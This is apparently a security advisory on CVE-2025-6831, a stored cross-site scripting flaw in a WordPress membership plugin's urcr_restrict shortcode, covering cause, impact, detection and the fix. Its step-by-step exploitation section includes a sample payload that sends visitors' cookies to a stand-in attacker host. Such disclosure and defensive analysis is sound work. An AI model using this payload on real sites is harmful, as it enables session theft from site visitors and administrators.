CVE-2025-6831: 
WordPress vulnerability analysis and mitigation

CVE-2025-6831 is a Stored Cross-Site Scripting (XSS) vulnerability in the User Registration & Membership plugin for WordPress, developed by WPEverest. The flaw exists in all versions up to and including 4.2.4, specifically within the urcr_restrict shortcode handler, due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on July 22, 2025, with the CVE assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code resides in modules/content-restriction/class-urcr-shortcodes.php, specifically around line 147 of version 4.2.4, where attributes passed to the [urcr_restrict] shortcode are not properly sanitized before being rendered in page output. An authenticated attacker with at least contributor-level access can embed malicious JavaScript within shortcode attributes in a post or page; the script executes in the browser of any user who subsequently visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to inject persistent malicious scripts into WordPress pages, which execute in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of site content. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to affect site visitors, making this a risk to both site integrity and end-user confidentiality (Wordfence, ENISA EUVD).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the time of disclosure. The vulnerability requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated flaws. The EPSS score is approximately 0.032% (0.000320), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the User Registration & Membership plugin (versions ≤ 4.2.4) by checking plugin metadata in page source or using tools like WPScan.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert a [urcr_restrict] shortcode with a malicious attribute, e.g., [urcr_restrict roles="contributor" message="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the page: Submit or publish the post/page containing the injected shortcode. The unsanitized attribute value is stored in the database.
5. Trigger execution: When any user (including administrators) visits the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Database/Content: WordPress posts or pages containing [urcr_restrict] shortcodes with unexpected HTML or JavaScript within attribute values (e.g., <script>, onerror=, javascript: patterns).
• Logs: Web server access logs showing requests to pages with urcr_restrict shortcodes followed by unusual outbound connections from visitor browsers (detectable via CSP violation reports if Content Security Policy is configured).
• Network: Unexpected outbound requests from site visitors' browsers to unknown external domains shortly after visiting pages containing the urcr_restrict shortcode.
• File System: No direct file system artifacts expected for stored XSS; however, review the WordPress database wp_posts table for injected script content in post bodies or metadata.

Users should update the User Registration & Membership plugin to version 4.2.5 or later, which includes the fix applied in changeset 3329704 on the WordPress plugin repository. The patch adds proper input sanitization and output escaping for shortcode attributes. As an interim workaround, site administrators can restrict contributor-level users from creating or editing posts until the update is applied, or disable the content restriction module if not in use (WordPress Trac Changeset, WordPress Plugin Page).

Wordfence included CVE-2025-6831 in its weekly WordPress vulnerability report for July 21–27, 2025, and Sucuri referenced it in their July 2025 WordPress vulnerability patch roundup, indicating routine coverage within the WordPress security community. No exceptional researcher commentary or significant social media discussion has been identified beyond standard vulnerability aggregation (Wordfence Blog, Sucuri Blog).